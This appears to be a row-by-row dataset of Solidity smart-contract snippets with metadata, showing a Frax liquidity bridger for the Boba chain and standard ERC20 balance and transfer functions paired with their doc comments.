/// @dev Callback for Uniswap V3 pool.
NatSpecSingleLine
v0.8.4+commit.c7e474f2
{ "func_code_index": [ 4943, 5291 ] }
1,502
FraxLiquidityBridger_BOBA_BobaGateway
contracts/Bridges/Boba/FraxLiquidityBridger_BOBA_BobaGateway.sol
0x4828d4496ff8da2f5c1e7217dc282b5c69b83263
Solidity
FraxLiquidityBridger_BOBA_BobaGateway
contract FraxLiquidityBridger_BOBA_BobaGateway is FraxLiquidityBridger { constructor ( address _owner, address _timelock_address, address _amo_minter_address, address[3] memory _bridge_addresses, address _destination_address_override, string memory _non_evm_des...
_bridgingLogic
function _bridgingLogic(uint256 token_type, address address_to_send_to, uint256 token_amount) internal override { // [Boba] // https://github.com/omgnetwork/optimism-v2/blob/develop/packages/boba/gateway/src/services/networkService.js if (token_type == 0){ // L1 FRAX -> bobaFRAX // Boba...
// Override with logic specific to this chain
LineComment
v0.8.10+commit.fc410830
GNU GPLv2
ipfs://81488b071d265979c77089371aa6dcd1053d02fe02e3285db8974c63314afee9
{ "func_code_index": [ 737, 2814 ] }
1,503
AssetTM3
AssetTM3.sol
0xfc998387c61528c575239744a85be91008556378
Solidity
ERC20Token
contract ERC20Token is ERC20TokenInterface { //Standar definition of an ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of...
/** * @title ERC20Token * @notice Token definition contract */
NatSpecMultiLine
balanceOf
function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; }
/** * @notice Get the balance of an _owner address. * @param _owner The address to be query. */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://6f45d06ad0f730d73cb201058bb5db2bbe87e6437dee6d773eb103dcbddb7cae
{ "func_code_index": [ 492, 614 ] }
1,504
AssetTM3
AssetTM3.sol
0xfc998387c61528c575239744a85be91008556378
Solidity
ERC20Token
contract ERC20Token is ERC20TokenInterface { //Standar definition of an ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of...
/** * @title ERC20Token * @notice Token definition contract */
NatSpecMultiLine
transfer
function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Tr...
/** * @notice transfer _value tokens to address _to * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://6f45d06ad0f730d73cb201058bb5db2bbe87e6437dee6d773eb103dcbddb7cae
{ "func_code_index": [ 839, 1245 ] }
1,505
AssetTM3
AssetTM3.sol
0xfc998387c61528c575239744a85be91008556378
Solidity
ERC20Token
contract ERC20Token is ERC20TokenInterface { //Standar definition of an ERC20Token using SafeMath for uint256; //SafeMath is used for uint256 operations mapping (address => uint256) balances; //A mapping of all balances per address mapping (address => mapping (address => uint256)) allowed; //A mapping of...
/** * @title ERC20Token * @notice Token definition contract */
NatSpecMultiLine
transferFrom
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); //If you dont want that people destroy token require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_...
/** * @notice Transfer _value tokens from address _from to address _to using allowance msg.sender allowance on _from * @param _from The address where tokens comes. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return success with boolean value true if done */
NatSpecMultiLine
v0.4.19+commit.c4cbbb05
bzzr://6f45d06ad0f730d73cb201058bb5db2bbe87e6437dee6d773eb103dcbddb7cae
{ "func_code_index": [ 1587, 2110 ] }
1,506